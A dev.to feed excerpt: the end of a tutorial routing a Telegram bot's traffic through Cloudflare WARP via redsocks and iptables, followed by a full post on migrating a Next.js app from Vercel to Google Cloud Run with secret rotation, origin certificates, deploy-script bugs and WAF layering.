&lt;pre class="highlight shell"&gt;&lt;code&gt;apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; redsocks

&lt;span class="c"&gt;# Our own config + service (avoids clashing with the package's default one)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/redsocks-warp.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
base { log = "stderr"; daemon = off; redirector = iptables; }
redsocks { local_ip = 127.0.0.1; local_port = 12345; ip = 127.0.0.1; port = 40000; type = socks5; }
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/systemd/system/redsocks-warp.service &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
[Unit]
After=warp-svc.service
Wants=warp-svc.service
[Service]
ExecStart=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; redsocks&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt; -c /etc/redsocks-warp.conf
Restart=always
[Install]
WantedBy=multi-user.target
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# The package ships its own redsocks on the same port — turn it off&lt;/span&gt;
systemctl disable &lt;span class="nt"&gt;--now&lt;/span&gt; redsocks 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; systemctl mask redsocks
systemctl daemon-reload &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;--now&lt;/span&gt; redsocks-warp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;redsocks now listens on &lt;code&gt;127.0.0.1:12345&lt;/code&gt; and forwards to WARP.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Redirect only OpenClaw's Telegram traffic
&lt;/h2&gt;

&lt;p&gt;This is the safe part. We send to redsocks &lt;strong&gt;only&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;traffic from the &lt;code&gt;openclaw&lt;/code&gt; user, and&lt;/li&gt;
&lt;li&gt;traffic going to Telegram's IP ranges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SSH, system updates, and your other apps are never touched.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-N&lt;/span&gt; TGWARP
iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; TGWARP &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;-j&lt;/span&gt; REDIRECT &lt;span class="nt"&gt;--to-ports&lt;/span&gt; 12345

&lt;span class="c"&gt;# Telegram's published IP ranges&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;net &lt;span class="k"&gt;in &lt;/span&gt;149.154.160.0/20 91.108.4.0/22 91.108.8.0/22 91.108.56.0/22 95.161.64.0/20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-m&lt;/span&gt; owner &lt;span class="nt"&gt;--uid-owner&lt;/span&gt; openclaw &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$net&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-j&lt;/span&gt; TGWARP
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the rule is tied to the &lt;code&gt;openclaw&lt;/code&gt; user, WARP's own traffic (it runs as root) is &lt;em&gt;not&lt;/em&gt; caught — so there is no loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Pin api.telegram.org to IPv4
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;api.telegram.org&lt;/code&gt; also has an IPv6 address. If OpenClaw picks IPv6, it skips our IPv4 rule. Pin it to IPv4 so it always uses the path we redirect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"149.154.167.220 api.telegram.org"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 5: Restart OpenClaw and test
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl restart openclaw
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; openclaw curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.telegram.org/bot&amp;lt;YOUR_TOKEN&amp;gt;/getMe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should get back &lt;code&gt;{"ok":true,...}&lt;/code&gt; with your bot's details. Your bot is alive again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Make it survive reboots
&lt;/h2&gt;

&lt;p&gt;Services started with &lt;code&gt;systemctl enable&lt;/code&gt; come back on their own. Save the iptables rule in a tiny boot script so it returns too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /usr/local/sbin/tg-warp-iptables.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
iptables -t nat -N TGWARP 2&amp;gt;/dev/null
iptables -t nat -F TGWARP
iptables -t nat -A TGWARP -p tcp -j REDIRECT --to-ports 12345
for net in 149.154.160.0/20 91.108.4.0/22 91.108.8.0/22 91.108.56.0/22 95.161.64.0/20; do
  iptables -t nat -C OUTPUT -m owner --uid-owner openclaw -p tcp -d "&lt;/span&gt;&lt;span class="nv"&gt;$net&lt;/span&gt;&lt;span class="sh"&gt;" -j TGWARP 2&amp;gt;/dev/null &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    || iptables -t nat -A OUTPUT -m owner --uid-owner openclaw -p tcp -d "&lt;/span&gt;&lt;span class="nv"&gt;$net&lt;/span&gt;&lt;span class="sh"&gt;" -j TGWARP
done
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /usr/local/sbin/tg-warp-iptables.sh

&lt;span class="c"&gt;# Run it on every boot with a oneshot unit&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/systemd/system/tg-warp-iptables.service &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
[Unit]
After=redsocks-warp.service
Wants=redsocks-warp.service
[Service]
Type=oneshot
ExecStart=/usr/local/sbin/tg-warp-iptables.sh
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;systemctl daemon-reload &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;tg-warp-iptables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One more thing: WARP starts on boot via &lt;code&gt;warp-svc&lt;/code&gt;, but it doesn't always &lt;strong&gt;reconnect&lt;/strong&gt; by itself. Make it sure. Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl edit warp-svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An editor opens. Add exactly these lines, then save and exit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Service]&lt;/span&gt;
&lt;span class="py"&gt;ExecStartPost&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/warp-cli --accept-tos connect&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then apply it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl restart warp-svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How to undo it later
&lt;/h2&gt;

&lt;p&gt;When your network can reach Telegram directly again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl disable &lt;span class="nt"&gt;--now&lt;/span&gt; redsocks-warp
iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-F&lt;/span&gt; TGWARP
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'/api.telegram.org/d'&lt;/span&gt; /etc/hosts
systemctl restart openclaw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why this design is safe
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scoped by user + IP&lt;/strong&gt; — only OpenClaw, only Telegram. Nothing else changes route.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH stays direct&lt;/strong&gt; — no risk of locking yourself out of the server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No app changes&lt;/strong&gt; — OpenClaw doesn't even know a proxy exists.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reversible&lt;/strong&gt; — a few commands put everything back.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's the whole trick: WARP for the exit, redsocks for the bridge, and one small iptables rule to keep it tight. Your Telegram bot keeps running, no matter what the local network does.&lt;/p&gt;

</description>
      <category>telegram</category>
      <category>linux</category>
      <category>devops</category>
      <category>cloudflarechallenge</category>
    </item>
    <item>
      <title>We moved our Next.js app from Vercel to Google Cloud Run. Here's how it actually went.</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Thu, 14 May 2026 06:21:00 +0000</pubDate>
      <link>https://dev.to/abhaygawade/we-moved-our-nextjs-app-from-vercel-to-google-cloud-run-heres-how-it-actually-went-10ah</link>
      <guid>https://dev.to/abhaygawade/we-moved-our-nextjs-app-from-vercel-to-google-cloud-run-heres-how-it-actually-went-10ah</guid>
      <description>&lt;p&gt;We moved our production Next.js 16 app from Vercel to Google Cloud Run last week. The whole thing took about ten focused hours from "let's plan this" to "production traffic on GCP." Some parts went well. A few caught us off guard. One bug only showed up on the second deploy and would bite anyone with the same setup.&lt;/p&gt;

&lt;p&gt;This is the honest story. If you're thinking about the same move, hopefully you skip the parts I tripped over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why we were on Vercel
&lt;/h2&gt;

&lt;p&gt;When the project was three weeks old, I needed a deploy target I could ignore. &lt;code&gt;vercel --prod&lt;/code&gt; worked. Custom domains worked. SSL worked. Preview branches just appeared. I had a Next.js 14 app, no time for infra, and a list of customer features that mattered more than where the bits ran.&lt;/p&gt;

&lt;p&gt;We sat on Vercel Pro for almost a year. It earned its keep. Everything I complain about below is the predictable cost of an early-stage setup meeting real product needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why we moved
&lt;/h2&gt;

&lt;p&gt;A few unrelated things lined up at the same time.&lt;/p&gt;

&lt;p&gt;Most of our backend was already on GCP. Our heavy work runs in background workers that pull from &lt;code&gt;pgmq&lt;/code&gt;, a Postgres queue extension. Those workers needed more compute than Vercel functions allowed, so they went on Cloud Run from day one. The web app stayed on Vercel. We had a seam in the architecture nobody wanted to admit was a seam: "the system runs on GCP, except the part the user actually sees."&lt;/p&gt;

&lt;p&gt;We also got into the GCP for Startups program. That's about a year of credits sitting in the account, which changes the cost math. The web app was our biggest line item on Vercel and would be one of the smaller ones on GCP.&lt;/p&gt;

&lt;p&gt;Most of our users are in India. Cloudflare proxies everything anyway, so end-user TTFB is dominated by Cloudflare's edge in Bombay. But origin-pull latency matters for routes the CDN can't cache — dashboards, server actions, an SSE stream that holds connections open for minutes. Vercel was serving us from &lt;code&gt;bom1&lt;/code&gt; too, but with extra hops through their edge middleware. After cutover I measured ~45ms median TTFB through the new stack against ~170ms before, from the same client.&lt;/p&gt;

&lt;p&gt;The last reason is the one that quietly drove me crazy. Workers had alerts in Cloud Monitoring, secrets in Secret Manager, IAM in Terraform. Web had Vercel's UI, Vercel's env var system, Vercel's auth model. Two halves of one product, two mental models for every change.&lt;/p&gt;

&lt;p&gt;None of those reasons by itself was enough. Together they were.&lt;/p&gt;

&lt;h2&gt;
  
  
  The plan, before it met reality
&lt;/h2&gt;

&lt;p&gt;Six phases, each meant to be revertible on its own.&lt;/p&gt;

&lt;p&gt;Audit first. Inventory every env var, every domain, every webhook. Compare to what the new Terraform would create. Then build infra: Cloud Run service, Global HTTPS load balancer, Cloud Armor in preview mode, Cloud CDN, Artifact Registry, Workload Identity Federation for GitHub Actions, monitoring alerts. Apply with a placeholder image so the resources exist before any real build pushes one. Then CI/CD: a workflow that builds the Docker image, pushes to Artifact Registry, canary-deploys to Cloud Run with no traffic, waits for the revision to go Ready, then shifts traffic. Then a 3–5 day soak running the new stack in parallel with Vercel, smoke-testing through the LB IP with &lt;code&gt;curl --resolve&lt;/code&gt; so no DNS changes yet. Then the actual DNS flip. Then teardown.&lt;/p&gt;

&lt;p&gt;I ended up doing the soak in about fifteen minutes instead of five days, but I'll get to that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Sensitive env var problem
&lt;/h2&gt;

&lt;p&gt;This is the part I want most people to know about, and the part I want to be careful not to give bad advice on.&lt;/p&gt;

&lt;p&gt;Vercel has two main classes of environment variable for secrets: encrypted and sensitive. Both are encrypted at rest. The difference is how readable they are after that. Encrypted vars decrypt back to plaintext on Vercel's systems for things like the dashboard, the CLI (&lt;code&gt;vercel env pull&lt;/code&gt;), and read APIs. Sensitive vars are protected so the plaintext is only available to your running build and runtime. You can't read them back through the dashboard, the CLI, or any API. The dashboard just shows an empty box. &lt;code&gt;vercel env ls&lt;/code&gt; lists them by name only.&lt;/p&gt;

&lt;p&gt;This protection is not theoretical. Vercel had a &lt;a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident" rel="noopener noreferrer"&gt;security incident in April 2026&lt;/a&gt; where an attacker pivoted through a third-party AI tool into a Vercel employee's Google Workspace, and from there into Vercel internal systems. The attacker enumerated and decrypted non-sensitive environment variables for a subset of customers. Sensitive variables were not exposed. Vercel's advice after the incident was to rotate any non-sensitive secrets and move secret material to the Sensitive class going forward.&lt;/p&gt;

&lt;p&gt;So when twenty-two of our secrets were Sensitive — payment provider keys, webhook signing secrets, a database encryption key, an LLM provider key, our database service role, Sentry tokens — that wasn't a mistake. That was security working correctly. The "you can't read them back" property is the whole point. If those values could be pulled out from outside the running deployment, an attacker with the right access could pull them too.&lt;/p&gt;

&lt;p&gt;The cost of that property is that when you leave the platform, those values are unrecoverable from Vercel. The answer is not to weaken the security class. The answer is to rotate.&lt;/p&gt;

&lt;p&gt;So we rotated every Sensitive secret as part of the move. The flow per secret was the same. Generate a new value. Put it in Secret Manager. Update the upstream provider's dashboard to issue or accept the new key. Switch the consuming code in the new infra. Watch traffic confirm the new key is being used, then revoke the old. The old Vercel values stay locked away forever. Which is fine. They were never meant to come back out.&lt;/p&gt;

&lt;p&gt;The real work was the choreography. Payment processors usually let you have multiple active API keys, so you add the new one, watch usage shift, revoke the old. Webhook signing secrets are trickier when the receiver only accepts one — most providers let you accept two during a rotation window. OAuth client secrets often allow only one active value, so you eat a short window of failed callbacks or spin up a second OAuth client. Database credentials are easiest if you just create a new DB user for the new infra instead of rotating the existing one.&lt;/p&gt;

&lt;p&gt;If you're on Vercel today, keep using Sensitive for actual secrets. Rotation is the right path out, and being on Sensitive protects you from the class of incident Vercel disclosed in April.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cloudflare origin cert trick
&lt;/h2&gt;

&lt;p&gt;Google-managed SSL certs on a GCP load balancer don't go ACTIVE until at least one of their SAN domains has a DNS record pointing at the LB. This is how Google validates ownership. It also means there's a chicken-and-egg moment at cutover: until DNS flips, the cert is stuck in PROVISIONING.&lt;/p&gt;

&lt;p&gt;A few minutes of a not-yet-ready cert is usually fine. We had two reasons to avoid it. Cloudflare in front of the LB connects to origin in Full (strict) mode, which requires a valid origin cert at the TLS handshake. If the origin cert is provisioning at the same moment DNS flips, Cloudflare can fail open or fail closed depending on settings — neither of which I wanted to discover in production. And the managed cert provisioning timeline runs anywhere from 15 to 60 minutes in practice. That's too unpredictable.&lt;/p&gt;

&lt;p&gt;The fix is a Cloudflare Origin Certificate. Cloudflare issues you a 15-year cert signed by their internal CA. Their edge fully trusts it. No browser does, but that's fine — browser users only ever talk to Cloudflare's public edge cert. You upload the origin cert to the LB as a self-managed certificate, and the Cloudflare-to-LB hop works the moment you flip DNS.&lt;/p&gt;

&lt;p&gt;I bound both certs on the HTTPS proxy. Cloudflare origin cert primary, Google managed cert as fallback. The Google cert eventually provisioned to ACTIVE about 25 minutes after cutover, by which point it didn't matter. Defensive overkill, maybe. The whole worry goes away if you're comfortable with a 30-minute "this might 5xx" window. I wasn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two bugs that hide until they don't
&lt;/h2&gt;

&lt;p&gt;Both of these are silent failures. Both make your old revision keep serving while everything looks fine in the browser. Both come from things that are easy to get wrong if you copy-paste your deploy script.&lt;/p&gt;

&lt;p&gt;The first one is the wait-for-Ready check. Our workflow does this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud run services update &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SERVICE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IMAGE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--no-traffic&lt;/span&gt; &lt;span class="nt"&gt;--tag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"sha-&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SHORT_SHA&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 60&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;STATUS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;gcloud run revisions describe &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'value(status.conditions[?type=Ready].status)'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$STATUS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"True"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi
  &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;5
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;[?type=Ready]&lt;/code&gt; is JMESPath filter syntax. It works in the &lt;code&gt;aws&lt;/code&gt; CLI. It does not work in &lt;code&gt;gcloud --format=value(...)&lt;/code&gt;. gcloud silently returns an empty string. The poll times out at five minutes. The deploy step fails. Traffic-shift never runs. The new revision sits Ready on 0% traffic and the old one keeps serving. The fix is to poll the service-level field instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;gcloud run services describe &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SERVICE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'value(status.latestReadyRevisionName)'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$READY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the gcloud-native pattern. The JMESPath thing got in there because the workflow was adapted from an old AWS deploy script. If your workflow has any inherited syntax, do one pass on it before you cut over.&lt;/p&gt;

&lt;p&gt;The second bug only shows up on the second deploy. Our canary flow tags the currently-serving image as &lt;code&gt;:previous-good&lt;/code&gt; before shifting traffic, so rollback is one workflow-run away. The command is &lt;code&gt;gcloud artifacts docker tags add&lt;/code&gt; against the &lt;code&gt;:previous-good&lt;/code&gt; tag. On the first ever deploy, that tag doesn't exist yet, so the command just creates it and everyone is happy. On every deploy after that, the tag already exists pointing at a different image, so the command has to delete the old binding before creating the new one. That delete needs &lt;code&gt;artifactregistry.tags.delete&lt;/code&gt;. Our deployer service account had &lt;code&gt;roles/artifactregistry.writer&lt;/code&gt;, which covers create but not delete.&lt;/p&gt;

&lt;p&gt;Result: the second deploy passed every step except the tag step. Same failure shape as the JMESPath bug — new revision Ready on 0% traffic, old revision still serving. It took me fifteen minutes to figure out because the symptom looked identical to the first bug. The fix was one Terraform line: deployer SA gets &lt;code&gt;roles/artifactregistry.repoAdmin&lt;/code&gt; on each repo instead of &lt;code&gt;writer&lt;/code&gt;. Same scope, slightly more permission, covers both operations.&lt;/p&gt;

&lt;p&gt;If your team has a canary deploy that re-tags an image to mark rollback targets, audit that flow today. Both these bugs are invisible until they aren't.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual cutover
&lt;/h2&gt;

&lt;p&gt;I'd planned for three to five days of soak. It ended up being about fifteen minutes.&lt;/p&gt;

&lt;p&gt;The smoke test was simple. I edited &lt;code&gt;/etc/hosts&lt;/code&gt; to point the production hostname at the GCP LB IP. Then I accepted the cert warning in the browser and walked through the things that matter: OAuth callback, the SSE streaming route, server actions, payments checkout. Everything worked. Cloudflare's orange-cloud proxy means a DNS flip-back is under sixty seconds at any point. Both stacks share the same Supabase backend, so there's no data divergence to worry about either.&lt;/p&gt;

&lt;p&gt;The disciplined version of risk management would have been five days of synthetic monitoring before flipping. The pragmatic version was a checklist, a smoke test, and the knowledge that rollback was instant.&lt;/p&gt;

&lt;p&gt;I flipped DNS at 23:00 IST. Cloudflare picked up the new origin in under thirty seconds. Cloud Run request volume climbed from zero to real traffic inside the next minute. Twelve hours later, the only anomalies in the logs were the same bot scanners that had been hitting &lt;code&gt;xmlrpc.php&lt;/code&gt; and &lt;code&gt;/wp-admin&lt;/code&gt; on the old stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The defense-in-depth thing I got wrong
&lt;/h2&gt;

&lt;p&gt;I'd been carrying a task that said "Cloud Armor must flip from preview to enforce by day-7." The original plan was Cloud Armor's OWASP rules in front of Cloud Run, plus Cloudflare's free DDoS layer, plus our app-level checks.&lt;/p&gt;

&lt;p&gt;Once we actually got the new stack up, I realized we had Cloudflare Enterprise on the zone, which includes Cloudflare's Managed Ruleset, Exposed Credentials Check, and OWASP Core Ruleset. After deploying those, Cloud Armor became the second WAF in the chain, running the same OWASP signatures as Cloudflare but later in the path. Two WAFs blocking the same traffic just doubles the false-positive triage surface.&lt;/p&gt;

&lt;p&gt;Cloudflare WAF is now the primary blocker. Cloud Armor stays in preview mode permanently — it logs everything Cloudflare let through, which is useful forensic data, but it doesn't block. The day-7 enforce deadline is gone. If something gets past Cloudflare in an attack, Cloud Armor's logs show the pattern and I can write a tuned Cloudflare rule. The decision lives in the Terraform with a comment explaining why preview is permanent, so whoever joins next doesn't think it's a TODO.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vercel ending
&lt;/h2&gt;

&lt;p&gt;We didn't delete the Vercel project. I downgraded to Hobby and kept the auto-deploy from &lt;code&gt;main&lt;/code&gt; running. The project rebuilds on every push. The deployment sits there warm. No production traffic touches it. It stays available as a warm-standby in case GCP has a bad day.&lt;/p&gt;

&lt;p&gt;If we ever need to roll back at the infrastructure level, the failover is a Cloudflare DNS A record flip. Sixty seconds. Same backend. That posture would have horrified Vercel-fan-me from a year ago. Pragmatic-me thinks it's a useful redundancy at zero cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;p&gt;A few things, in order of how much I want to take them back. Plan secret rotation into the migration timeline from day one. Sensitive-class env vars are the correct security posture, and the way they protect values is the point. Bake the provider-dashboard coordination work into the schedule from the start. Audit your deploy workflow for inherited JMESPath syntax before your first cutover, not after. Grant &lt;code&gt;artifactregistry.repoAdmin&lt;/code&gt; to the deployer service account on day one, or pick a tagging strategy that doesn't need delete. Use a Cloudflare Origin Certificate even when you also have a managed cert — it's free, it lasts fifteen years, and it removes a class of cutover failure. If your testing is good, skip the soak. Five days of synthetic monitoring does not catch what one careful smoke test catches. And don't run two WAFs in enforce mode at the same time unless someone on the team has time to triage false positives twice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape now
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internet
  ↓
Cloudflare (orange-cloud)
  ├─ WAF Managed Ruleset (Block)
  ├─ Exposed Credentials Check (Block)
  ├─ OWASP Core Ruleset (Log → Block after soak)
  └─ Rate Limiting + DDoS L3/L4/L7
  ↓
GCP Global HTTPS LB (Cloudflare Origin Cert)
  ↓
Cloud Armor (preview, forensic logging only)
  ↓
Cloud CDN (USE_ORIGIN_HEADERS cache mode)
  ↓
Cloud Run v2 (asia-south1, ingress = INTERNAL_LB)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;More moving parts than Vercel. Operational overhead is roughly the same once it's running, because everything is in Terraform and the deploy is a &lt;code&gt;git push&lt;/code&gt;. Cost is covered by startup credits for the next year. Without those credits, this stack is more expensive than Vercel Pro at our current always-on worker footprint — be honest with yourself about that math before you commit.&lt;/p&gt;

